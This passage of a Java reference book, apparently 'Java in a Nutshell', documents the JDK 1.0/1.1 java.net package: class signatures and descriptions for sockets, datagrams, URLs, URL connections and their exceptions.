            public DatagramPacket(byte[] ibuf, int ilength);
            public DatagramPacket(byte[] ibuf, int ilength, InetAddress iaddr, int iport);
    // Public Instance Methods
            public synchronized InetAddress getAddress();
            public synchronized byte[] getData();
            public synchronized int getLength();
            public synchronized int getPort();
        1.1public synchronized void setAddress(InetAddress iaddr);
        1.1public synchronized void setData(byte[] ibuf);
        1.1public synchronized void setLength(int ilength);
        1.1public synchronized void setPort(int iport);
}

Passed To:

DatagramSocket.receive(),
DatagramSocket.send(),
DatagramSocketImpl.receive(),
DatagramSocketImpl.send(),
MulticastSocket.send()

Previous | Home | Next
java.net.ContentHandlerFactory (JDK 1.0) | Book Index | java.net.DatagramSocket (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.6 java.net.DatagramSocket (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.6 java.net.DatagramSocket (JDK 1.0)

This class defines a socket that can receive and send unreliable datagram packets over the network using the UDP protocol. A datagram is a very low-level networking interface: it is simply an array of bytes sent over the network. A datagram does not implement any kind of stream-based communication protocol, and there is no connection established between the sender and the receiver. Datagram packets are called "unreliable" because the protocol does not make any attempt to ensure that they arrived or to resend them if they did not. Thus, packets sent through a DatagramSocket are not guaranteed to arrive in the order sent, or to arrive at all. On the other hand, this low-overhead protocol makes datagram transmission very fast.

If a port is specified when the DatagramSocket is created, that port is used; otherwise, the system assigns a port. getLocalPort() returns the port number in use. send() sends a DatagramPacket through the socket. The packet must contain the destination address to which it should be sent. receive() waits for data to arrive at the socket and stores it, along with the address of the sender, into the specified DatagramPacket. close() closes the socket and frees the port it used for reuse. Once close() has been called, the DatagramSocket should not be used again.

See Socket and URL for higher-level interfaces to networking.

public class DatagramSocket extends Object {
    // Public Constructors
            public DatagramSocket() throws SocketException;
            public DatagramSocket(int port) throws SocketException;
        1.1public DatagramSocket(int port, InetAddress laddr) throws SocketException;
    // Public Instance Methods
            public void close();
        1.1public InetAddress getLocalAddress();
            public int getLocalPort();
        1.1public synchronized int getSoTimeout() throws SocketException;
            public synchronized void receive(DatagramPacket p) throws IOException;
            public void send(DatagramPacket p) throws IOException;
        1.1public synchronized void setSoTimeout(int timeout) throws SocketException;
}

Extended By:

MulticastSocket

Previous | Home | Next
java.net.DatagramPacket (JDK 1.0) | Book Index | java.net.DatagramSocketImpl (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.7 java.net.DatagramSocketImpl (JDK 1.1)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.7 java.net.DatagramSocketImpl (JDK 1.1)

This abstract class defines the methods necessary to implement communication through datagram and multicast sockets. System programmers may create subclasses of this class when they need to implement datagram or multicast sockets in a nonstandard network environment, such as behind a firewall or on a network that uses a nonstandard transport protocol.

Normal applications never need to use or subclass this class.

public abstract class DatagramSocketImpl extends Object {
    // Default Constructor: public DatagramSocketImpl()
    // Protected Instance Variables
            protected FileDescriptor fd;
            protected int localPort;
    // Protected Instance Methods
            protected abstract void bind(int lport, InetAddress laddr) throws SocketException;
            protected abstract void close();
            protected abstract void create() throws SocketException;
            protected FileDescriptor getFileDescriptor();
            protected int getLocalPort();
            protected abstract byte getTTL() throws IOException;
            protected abstract void join(InetAddress inetaddr) throws IOException;
            protected abstract void leave(InetAddress inetaddr) throws IOException;
            protected abstract int peek(InetAddress i) throws IOException;
            protected abstract void receive(DatagramPacket p) throws IOException;
            protected abstract void send(DatagramPacket p) throws IOException;
            protected abstract void setTTL(byte ttl) throws IOException;
}

Previous | Home | Next
java.net.DatagramSocket (JDK 1.0) | Book Index | java.net.FileNameMap (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.8 java.net.FileNameMap (JDK 1.1)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.8 java.net.FileNameMap (JDK 1.1)

This interface defines a single method that is called to obtain the MIME type of a file based on the name of a file. The fileNameMap field of the URLConnection class refers to an object that implements this interface. The filename-to-file-type map it implements is used by the static URLConnection.guessContentTypeFromName() method.

public abstract interface FileNameMap {
    // Public Instance Methods
            public abstract String getContentTypeFor(String fileName);
}

Type Of:

URLConnection.fileNameMap

Previous | Home | Next
java.net.DatagramSocketImpl (JDK 1.1) | Book Index | java.net.HttpURLConnection (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.9 java.net.HttpURLConnection (JDK 1.1)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.9 java.net.HttpURLConnection (JDK 1.1)

This class is a specialization of URLConnection. An instance of this class is returned when the openConnection() method is called for a URL object that uses the HTTP protocol.

The many constants defined by this class are the status codes returned by HTTP servers. setRequestMethod() specifies what kind of HTTP request is made. The contents of this request must be sent through the OutputStream returned by the getOutputStream() method of the superclass. Once an HTTP request has been sent, getResponseCode() returns the HTTP server's response code as an integer, and getResponseMessage() returns the server's response message. The disconnect() method closes the connection, and the static setFollowRedirects() specifies whether URL connections that use the HTTP protocol should automatically follow redirect responses sent by HTTP servers.

In order to successfully use this class, you need to understand the details of the HTTP protocol.

public abstract class HttpURLConnection extends URLConnection {
    // Protected Constructor
            protected HttpURLConnection(URL u);
    // Response Code Constants
            public static final int HTTP_ACCEPTED, HTTP_BAD_GATEWAY, HTTP_BAD_METHOD;
            public static final int HTTP_BAD_REQUEST, HTTP_CLIENT_TIMEOUT, HTTP_CONFLICT;
            public static final int HTTP_CREATED, HTTP_ENTITY_TOO_LARGE, HTTP_FORBIDDEN;
            public static final int HTTP_GATEWAY_TIMEOUT, HTTP_GONE, HTTP_INTERNAL_ERROR;
            public static final int HTTP_LENGTH_REQUIRED, HTTP_MOVED_PERM, HTTP_MOVED_TEMP;
            public static final int HTTP_MULT_CHOICE, HTTP_NOT_ACCEPTABLE, HTTP_NOT_AUTHORITATIVE;
            public static final int HTTP_NOT_FOUND, HTTP_NOT_MODIFIED, HTTP_NO_CONTENT;
            public static final int HTTP_OK, HTTP_PARTIAL, HTTP_PAYMENT_REQUIRED;
            public static final int HTTP_PRECON_FAILED, HTTP_PROXY_AUTH, HTTP_REQ_TOO_LONG;
            public static final int HTTP_RESET, HTTP_SEE_OTHER, HTTP_SERVER_ERROR;
            public static final int HTTP_UNAUTHORIZED, HTTP_UNAVAILABLE, HTTP_UNSUPPORTED_TYPE;
            public static final int HTTP_USE_PROXY, HTTP_VERSION;
    // Protected Instance Variables
            protected String method;
            protected int responseCode;
            protected String responseMessage;
    // Class Methods
            public static boolean getFollowRedirects();
            public static void setFollowRedirects(boolean set);
    // Public Instance Methods
            public abstract void disconnect();
            public String getRequestMethod();
            public int getResponseCode() throws IOException;
            public String getResponseMessage() throws IOException;
            public void setRequestMethod(String method) throws ProtocolException;
            public abstract boolean usingProxy();
}

Hierarchy:

Object->URLConnection->HttpURLConnection

Previous | Home | Next
java.net.FileNameMap (JDK 1.1) | Book Index | java.net.InetAddress (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.10 java.net.InetAddress (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.10 java.net.InetAddress (JDK 1.0)

This class represents an Internet address, and is used when creating DatagramPacket or Socket objects. The class does not have a public constructor function, but instead supports three static methods which return one or more instances of InetAddress. getLocalHost() returns an InetAddress for the local host. getByName() returns the InetAddress of a host specified by name. getAllByName() returns an array of InetAddress that represents all of the available addresses for a host specified by name. Instance methods are getHostName(), which returns the hostname of an InetAddress, and getAddress(), which returns the Internet IP address as an array of bytes, with the highest-order byte as the first element of the array.

public final class InetAddress extends Object implements Serializable {
    // No Constructor
    // Class Methods
            public static InetAddress[] getAllByName(String host) throws UnknownHostException;
            public static InetAddress getByName(String host) throws UnknownHostException;
            public static InetAddress getLocalHost() throws UnknownHostException;
    // Public Instance Methods
            public boolean equals(Object obj);  // Overrides Object
            public byte[] getAddress();
            public String getHostAddress();
            public String getHostName();
            public int hashCode();  // Overrides Object
        1.1public boolean isMulticastAddress();
            public String toString();  // Overrides Object
}

Passed To:

DatagramPacket(),
DatagramPacket.setAddress(),
DatagramSocket(),
DatagramSocketImpl.bind(),
DatagramSocketImpl.join(),
DatagramSocketImpl.leave(),
DatagramSocketImpl.peek(),
MulticastSocket.joinGroup(),
MulticastSocket.leaveGroup(),
MulticastSocket.setInterface(),
SecurityManager.checkMulticast(),
ServerSocket(),
Socket(),
SocketImpl.bind(),
SocketImpl.connect()

Returned By:

DatagramPacket.getAddress(),
DatagramSocket.getLocalAddress(),
InetAddress.getAllByName(),
InetAddress.getByName(),
InetAddress.getLocalHost(),
MulticastSocket.getInterface(),
ServerSocket.getInetAddress(),
Socket.getInetAddress(),
Socket.getLocalAddress(),
SocketImpl.getInetAddress()

Type Of:

SocketImpl.address

Previous | Home | Next
java.net.HttpURLConnection (JDK 1.1) | Book Index | java.net.MalformedURLException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.11 java.net.MalformedURLException (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.11 java.net.MalformedURLException (JDK 1.0)

Signals that an unparseable URL specification has been passed to a method.

public class MalformedURLException extends IOException {
    // Public Constructors
            public MalformedURLException();
            public MalformedURLException(String msg);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->MalformedURLException

Thrown By:

URL()

Previous | Home | Next
java.net.InetAddress (JDK 1.0) | Book Index | java.net.MulticastSocket (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.12 java.net.MulticastSocket (JDK 1.1)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.12 java.net.MulticastSocket (JDK 1.1)

This subclass of DatagramSocket is used to send and receive multicast UDP packets. It extends DatagramSocket by adding joinGroup() and leaveGroup() methods to join and leave multicast groups. The IP address specified to these methods should be a valid multicast address in the range of 224.0.0.1 to 239.255.255.255. Note that you do not have to join a group to send a packet to a multicast address, but you must join the group to receive packets sent to that address.

MulticastSocket defines a variant send() method that allows you to specify a time-to-live (TTL) value for the packet you send. This value specifies the number of network "hops" the packet may travel before it expires. You can also set a default TTL for all packets sent though a MulticastSocket with setTTL().

Note that untrusted applets are not allowed to use multicast sockets.

public class MulticastSocket extends DatagramSocket {
    // Public Constructors
            public MulticastSocket() throws IOException;
            public MulticastSocket(int port) throws IOException;
    // Public Instance Methods
            public InetAddress getInterface() throws SocketException;
            public byte getTTL() throws IOException;
            public void joinGroup(InetAddress mcastaddr) throws IOException;
            public void leaveGroup(InetAddress mcastaddr) throws IOException;
            public synchronized void send(DatagramPacket p, byte ttl) throws IOException;
            public void setInterface(InetAddress inf) throws SocketException;
            public void setTTL(byte ttl) throws IOException;
}

Hierarchy:

Object->DatagramSocket->MulticastSocket

Previous | Home | Next
java.net.MalformedURLException (JDK 1.0) | Book Index | java.net.NoRouteToHostException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.13 java.net.NoRouteToHostException (JDK 1.1)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.13 java.net.NoRouteToHostException (JDK 1.1)

This exception signals that a socket could not be connected to a remote host, because the host could not be contacted. Typically this means that some link in the network between the local machine and the remote host is down, or that the host is behind a firewall.

public class NoRouteToHostException extends SocketException {
    // Public Constructors
            public NoRouteToHostException(String msg);
            public NoRouteToHostException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->SocketException->NoRouteToHostException

Previous | Home | Next
java.net.MulticastSocket (JDK 1.1) | Book Index | java.net.ProtocolException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.14 java.net.ProtocolException (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.14 java.net.ProtocolException (JDK 1.0)

Signals a protocol error in the Socket class.

public class ProtocolException extends IOException {
    // Public Constructors
            public ProtocolException(String host);
            public ProtocolException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ProtocolException

Thrown By:

HttpURLConnection.setRequestMethod()

Previous | Home | Next
java.net.NoRouteToHostException (JDK 1.1) | Book Index | java.net.ServerSocket (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.15 java.net.ServerSocket (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.15 java.net.ServerSocket (JDK 1.0)

This class is used by servers to listen for connection requests from clients. When you create a ServerSocket, you specify the port to listen on. The accept() method begins listening on that port, and blocks until a client requests a connection on that port. At that point, accept() accepts the connection, creating and returning a Socket that the server can use to communicate with the client.

public class ServerSocket extends Object {
    // Public Constructors
            public ServerSocket(int port) throws IOException;
            public ServerSocket(int port, int backlog) throws IOException;
        1.1public ServerSocket(int port, int backlog, InetAddress bindAddr) throws IOException;
    // Class Methods
            public static synchronized void setSocketFactory(SocketImplFactory fac) throws IOException;
    // Public Instance Methods
            public Socket accept() throws IOException;
            public void close() throws IOException;
            public InetAddress getInetAddress();
            public int getLocalPort();
        1.1public synchronized int getSoTimeout() throws IOException;
        1.1public synchronized void setSoTimeout(int timeout) throws SocketException;
            public String toString();  // Overrides Object
    // Protected Instance Methods
        1.1  protected final void implAccept(Socket s) throws IOException;
}

Previous | Home | Next
java.net.ProtocolException (JDK 1.0) | Book Index | java.net.Socket (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.16 java.net.Socket (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.16 java.net.Socket (JDK 1.0)

This class implements a socket for interprocess communication over the network. The constructor methods create the socket and connect it to the specified host and port. You may also optionally specify whether communication through the socket should be based on an underlying reliable connection-based stream protocol, or on an underlying unreliable (but faster) datagram protocol. A stream protocol is the default.

Once the socket is created, getInputStream() and getOutputStream() return InputStream and OutputStream objects that you can use just as you would for file input and output. getInetAddress() and getPort() return the address and port that the socket is connected to. getLocalPort() returns the local port that the socket is using.

public class Socket extends Object {
    // Public Constructors
            public Socket(String host, int port) throws UnknownHostException, IOException;
            public Socket(InetAddress address, int port) throws IOException;
        1.1public Socket(String host, int port, InetAddress localAddr, int localPort) throws IOException;
        1.1public Socket(InetAddress address, int port, InetAddress localAddr, int localPort) throws IOException;
        #   public Socket(String host, int port, boolean stream) throws IOException;
        #   public Socket(InetAddress host, int port, boolean stream) throws IOException;
    // Protected Constructors
        1.1protected Socket();
        1.1protected Socket(SocketImpl impl) throws SocketException;
    // Class Methods
            public static synchronized void setSocketImplFactory(SocketImplFactory fac) throws IOException;
    // Public Instance Methods
            public synchronized void close() throws IOException;
            public InetAddress getInetAddress();
            public InputStream getInputStream() throws IOException;
        1.1public InetAddress getLocalAddress();
            public int getLocalPort();
            public OutputStream getOutputStream() throws IOException;
            public int getPort();
        1.1public int getSoLinger() throws SocketException;
        1.1public synchronized int getSoTimeout() throws SocketException;
        1.1public boolean getTcpNoDelay() throws SocketException;
        1.1public void setSoLinger(boolean on, int val) throws SocketException;
        1.1public synchronized void setSoTimeout(int timeout) throws SocketException;
        1.1public void setTcpNoDelay(boolean on) throws SocketException;
            public String toString();  // Overrides Object
}

Passed To:

ServerSocket.implAccept()

Returned By:

ServerSocket.accept()

Previous | Home | Next
java.net.ServerSocket (JDK 1.0) | Book Index | java.net.SocketException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.17 java.net.SocketException (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.17 java.net.SocketException (JDK 1.0)

Signals an exceptional condition while using a socket.

public class SocketException extends IOException {
    // Public Constructors
            public SocketException(String msg);
            public SocketException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->SocketException

Extended By:

BindException, ConnectException, NoRouteToHostException

Thrown By:

DatagramSocket(),
DatagramSocket.getSoTimeout(),
DatagramSocket.setSoTimeout(),
DatagramSocketImpl.bind(),
DatagramSocketImpl.create(),
DatagramSocketImpl.getOption(),
DatagramSocketImpl.setOption(),
MulticastSocket.getInterface(),
MulticastSocket.setInterface(),
ServerSocket.setSoTimeout(),
Socket(),
Socket.getSoLinger(),
Socket.getSoTimeout(),
Socket.getTcpNoDelay(),
Socket.setSoLinger(),
Socket.setSoTimeout(),
Socket.setTcpNoDelay(),
SocketImpl.getOption(),
SocketImpl.setOption()

Previous | Home | Next
java.net.Socket (JDK 1.0) | Book Index | java.net.SocketImpl (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.18 java.net.SocketImpl (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.18 java.net.SocketImpl (JDK 1.0)

This abstract class defines the methods necessary to implement communication through sockets. Different subclasses of this class may provide different implementations suitable in different environments (such as behind firewalls). These socket implementations are used by the Socket and ServerSocket classes.

Normal applications never need to use or subclass this class.

public abstract class SocketImpl extends Object {
    // Default Constructor: public SocketImpl()
    // Protected Instance Variables
            protected InetAddress address;
            protected FileDescriptor fd;
            protected int localport;
            protected int port;
    // Public Instance Methods
            public String toString();  // Overrides Object
    // Protected Instance Methods
            protected abstract void accept(SocketImpl s) throws IOException;
            protected abstract int available() throws IOException;
            protected abstract void bind(InetAddress host, int port) throws IOException;
            protected abstract void close() throws IOException;
            protected abstract void connect(String host, int port) throws IOException;
            protected abstract void connect(InetAddress address, int port) throws IOException;
            protected abstract void create(boolean stream) throws IOException;
            protected FileDescriptor getFileDescriptor();
            protected InetAddress getInetAddress();
            protected abstract InputStream getInputStream() throws IOException;
            protected int getLocalPort();
            protected abstract OutputStream getOutputStream() throws IOException;
            protected int getPort();
            protected abstract void listen(int backlog) throws IOException;
}

Passed To:

Socket(), SocketImpl.accept()

Returned By:

SocketImplFactory.createSocketImpl()

Previous | Home | Next
java.net.SocketException (JDK 1.0) | Book Index | java.net.SocketImplFactory (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.19 java.net.SocketImplFactory (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.19 java.net.SocketImplFactory (JDK 1.0)

This interface defines a method that creates SocketImpl objects. SocketImplFactory objects may be registered to create SocketImpl objects for the Socket and ServerSocket classes.

Normal applications never need to use or implement this interface.

public abstract interface SocketImplFactory {
    // Public Instance Methods
            public abstract SocketImpl createSocketImpl();
}

Passed To:

ServerSocket.setSocketFactory(), Socket.setSocketImplFactory()

Previous | Home | Next
java.net.SocketImpl (JDK 1.0) | Book Index | java.net.UnknownHostException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.20 java.net.UnknownHostException (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.20 java.net.UnknownHostException (JDK 1.0)

Signals that the name of a specified host could not be resolved.

public class UnknownHostException extends IOException {
    // Public Constructors
            public UnknownHostException(String host);
            public UnknownHostException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->UnknownHostException

Thrown By:

InetAddress.getAllByName(),
InetAddress.getByName(),
InetAddress.getLocalHost(),
Socket()

Previous | Home | Next
java.net.SocketImplFactory (JDK 1.0) | Book Index | java.net.UnknownServiceException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.21 java.net.UnknownServiceException (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.21 java.net.UnknownServiceException (JDK 1.0)

Signals an attempt to use an unsupported service of a network connection.

public class UnknownServiceException extends IOException {
    // Public Constructors
            public UnknownServiceException();
            public UnknownServiceException(String msg);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->UnknownServiceException

Previous | Home | Next
java.net.UnknownHostException (JDK 1.0) | Book Index | java.net.URL (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.22 java.net.URL (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.22 java.net.URL (JDK 1.0)

This class represents a URL (a Uniform Resource Locator) and allows the data referred to by the URL to be downloaded. A URL may be specified as a single string or with separate protocol, host, port, and file specifications. Relative URLs may also be specified with a String and the URL object that it is relative to.

getFile(), getHost(), getPort(), getProtocol(), and getRef() return the various portions of the URL specified by a URL object. sameFile() determines whether a URL object refers to the same file as this one.

The data or object referred to by a URL may be downloaded from the Internet in three ways: through a URLConnection created with openConnection(), through an InputStream created by openStream(), or through getContent(), which returns the URL contents directly, if an appropriate ContentHandler can be found.

public final class URL extends Object implements Serializable {
    // Public Constructors
            public URL(String protocol, String host, int port, String file) throws MalformedURLException;
            public URL(String protocol, String host, String file) throws MalformedURLException;
            public URL(String spec) throws MalformedURLException;
            public URL(URL context, String spec) throws MalformedURLException;
    // Class Methods
            public static synchronized void setURLStreamHandlerFactory(URLStreamHandlerFactory fac);
    // Public Instance Methods
            public boolean equals(Object obj);  // Overrides Object
            public final Object getContent() throws IOException;
            public String getFile();
            public String getHost();
            public int getPort();
            public String getProtocol();
            public String getRef();
            public int hashCode();  // Overrides Object
            public URLConnection openConnection() throws IOException;
            public final InputStream openStream() throws IOException;
            public boolean sameFile(URL other);
            public String toExternalForm();
            public String toString();  // Overrides Object
    // Protected Instance Methods
            protected void set(String protocol, String host, int port, String file, String ref);
}

Passed To:

Applet.getAudioClip(),
Applet.getImage(),
Applet.play(),
AppletContext.getAudioClip(),
AppletContext.getImage(),
AppletContext.showDocument(),
HttpURLConnection(),
Toolkit.getImage(),
URL(),
URL.sameFile(),
URLConnection(),
URLStreamHandler.openConnection(),
URLStreamHandler.parseURL(),
URLStreamHandler.setURL(),
URLStreamHandler.toExternalForm()

Returned By:

Applet.getCodeBase(),
Applet.getDocumentBase(),
AppletStub.getCodeBase(),
AppletStub.getDocumentBase(),
Class.getResource(),
ClassLoader.getResource(),
ClassLoader.getSystemResource(),
URLConnection.getURL()

Type Of:

URLConnection.url

Previous | Home | Next
java.net.UnknownServiceException (JDK 1.0) | Book Index | java.net.URLConnection (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.23 java.net.URLConnection (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.23 java.net.URLConnection (JDK 1.0)

This abstract class defines a network connection to an object specified by a URL. URL.openConnection() returns a URLConnection instance. You would use a URLConnection object when you want more control over the downloading of data than is available through the simpler URL methods.

connect() actually performs the network connection. Other methods that depend on being connected will call this method. getContent() returns the data referred to by the URL, parsed into an appropriate type of Object. If the URL protocol supports read and write operations, then getInputStream() and getOutputStream() respectively return input and output streams to the object referred to by the URL.

getContentLength(), getContentType(), getContentEncoding(), getExpiration(), getDate(), and getLastModified() return the appropriate information about the object referred to by the URL, if that information can be determined (e.g., from HTTP header fields). getHeaderField() returns an HTTP header field specified by name or by number. getHeaderFieldInt() and getHeaderFieldDate() return the value of a named header field parsed as an integer or a date.

There are a number of options that you may specify to control how the URLConnection behaves. These options are set with the various set() methods, and may be queried with corresponding get() methods. The options must be set before the connect() method is called. setDoInput() and setDoOutput() allow you to specify whether you use the URLConnection for input and/or output. The default is input-only. setAllowUserInteraction() specifies whether user interaction (such as typing a password) is allowed during the data transfer. The initial default is false. setDefaultAllowUserInteraction() is a class method that allows you to change the default value for user interaction. setUseCaches() allows you to specify whether a cached version of the URL may be used. You can set this to false to force a URL to be reloaded. setDefaultUseCaches() sets the default value for setUseCaches(). setIfModifiedSince() allows you to specify that a URL should not be fetched (if it is possible to determine its modification date) unless it has been modified since a specified time.

public abstract class URLConnection extends Object {
    // Protected Constructor
            protected URLConnection(URL url);
    // Class Variables
        1.1public static FileNameMap fileNameMap;
    // Protected Instance Variables
            protected boolean allowUserInteraction;
            protected boolean connected;
            protected boolean doInput;
            protected boolean doOutput;
            protected long ifModifiedSince;
            protected URL url;
            protected boolean useCaches;
    // Class Methods
            public static boolean getDefaultAllowUserInteraction();
            public static String getDefaultRequestProperty(String key);
            protected static String guessContentTypeFromName(String fname);
            public static String guessContentTypeFromStream(InputStream is) throws IOException;
            public static synchronized void setContentHandlerFactory(ContentHandlerFactory fac);
            public static void setDefaultAllowUserInteraction(boolean defaultallowuserinteraction);
            public static void setDefaultRequestProperty(String key, String value);
    // Public Instance Methods
            public abstract void connect() throws IOException;
            public boolean getAllowUserInteraction();
            public Object getContent() throws IOException;
            public String getContentEncoding();
            public int getContentLength();
            public String getContentType();
            public long getDate();
            public boolean getDefaultUseCaches();
            public boolean getDoInput();
            public boolean getDoOutput();
            public long getExpiration();
            public String getHeaderField(String name);
            public String getHeaderField(int n);
            public long getHeaderFieldDate(String name, long Default);
            public int getHeaderFieldInt(String name, int Default);
            public String getHeaderFieldKey(int n);
            public long getIfModifiedSince();
            public InputStream getInputStream() throws IOException;
            public long getLastModified();
            public OutputStream getOutputStream() throws IOException;
            public String getRequestProperty(String key);
            public URL getURL();
            public boolean getUseCaches();
            public void setAllowUserInteraction(boolean allowuserinteraction);
            public void setDefaultUseCaches(boolean defaultusecaches);
            public void setDoInput(boolean doinput);
            public void setDoOutput(boolean dooutput);
            public void setIfModifiedSince(long ifmodifiedsince);
            public void setRequestProperty(String key, String value);
            public void setUseCaches(boolean usecaches);
            public String toString();  // Overrides Object
}

Extended By:

HttpURLConnection

Passed To:

ContentHandler.getContent()

Returned By:

URL.openConnection(), URLStreamHandler.openConnection()

Previous | Home | Next
java.net.URL (JDK 1.0) | Book Index | java.net.URLEncoder (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.24 java.net.URLEncoder (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.24 java.net.URLEncoder (JDK 1.0)

This class defines a single static method which is used to convert a string to its URL-encoded form. That is, spaces are converted to "+", and non-alphanumeric characters other than underscore are output as two hexadecimal digits following a percent sign. Note that this technique only works for 8-bit characters. This method is used to "canonicalize" a URL specification so that it uses only characters from an extremely portable subset of ASCII which can be correctly handled by computers around the world.

public class URLEncoder extends Object {
    // No Constructor
    // Class Methods
            public static String encode(String s);
}

Previous | Home | Next
java.net.URLConnection (JDK 1.0) | Book Index | java.net.URLStreamHandler (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.25 java.net.URLStreamHandler (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.25 java.net.URLStreamHandler (JDK 1.0)

This abstract class defines the openConnection() method that creates a URLConnection for a given URL. A separate subclass of this class may be defined for various URL protocol types. A URLStreamHandler is created by a URLStreamHandlerFactory.

Normal applications never need to use or subclass this class.

public abstract class URLStreamHandler extends Object {
    // Default Constructor: public URLStreamHandler()
    // Protected Instance Methods
            protected abstract URLConnection openConnection(URL u) throws IOException;
            protected void parseURL(URL u, String spec, int start, int limit);
            protected void setURL(URL u, String protocol, String host, int port, String file, String ref);
            protected String toExternalForm(URL u);
}

Returned By:

URLStreamHandlerFactory.createURLStreamHandler()

Previous | Home | Next
java.net.URLEncoder (JDK 1.0) | Book Index | java.net.URLStreamHandlerFactory (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] 28.26 java.net.URLStreamHandlerFactory (JDK 1.0)

Java in a Nutshell

Previous Chapter 28
The java.net Package 		Next

28.26 java.net.URLStreamHandlerFactory (JDK 1.0)

This interface defines a method that creates a URLStreamHandler object for a specified protocol.

Normal applications never need to use or implement this interface.

public abstract interface URLStreamHandlerFactory {
    // Public Instance Methods
            public abstract URLStreamHandler createURLStreamHandler(String protocol);
}

Passed To:

URL.setURLStreamHandlerFactory()

Previous | Home | Next
java.net.URLStreamHandler (JDK 1.0) | Book Index | The java.text Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 28] The java.net Package

Java in a Nutshell

Previous Chapter 28 Next

28. The java.net Package

Contents:

Select a new section and then

The java.net package provides a powerful and flexible infrastructure for networking. Figure 28.1 shows the class hierarchy for this package. Many of the classes in this package are part of the networking infrastructure and are not used by normal applications; these complicated classes can make the package a difficult one to understand. In this overview we describe only the classes that an application might normally use.

Figure 28.1: The java.net package

[Graphic: Figure 28-1]

The URL class represents an Internet Uniform Resource Locator. It provides a very simple interface to networking--the object referred to by the URL can be downloaded with a single call, or streams may be opened to read from or write to the object.

At a slightly more complex level, the URLConnection object may be obtained from a given URL object. The URLConnection class provides additional methods that allow you to work with URLs in more sophisticated ways.

If you want to do more than simply download an object referenced by a URL, you can do your own networking with the Socket class. This class allows you to connect to a specified port on a specified Internet host and read and write data using the InputStream and OutputStream classes of the java.io package. If you want to implement a server to accept connections from clients, you can use the related ServerSocket class. Both Socket and ServerSocket use the InetAddress address class, which represents an Internet address.

The java.net package allows you to do low-level networking with DatagramPacket objects which may be sent and received over the network through a DatagramSocket object. In Java 1.1, the package has been extended to include a MulticastSocket class that supports multicast networking.

28.1 java.net.BindException (JDK 1.1)

This exception signals that a socket could not be bound to a local address and port. This often means that the port is already in use.

public class BindException extends SocketException {
    // Public Constructors
            public BindException(String msg);
            public BindException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->SocketException->BindException

Previous | Home | Next
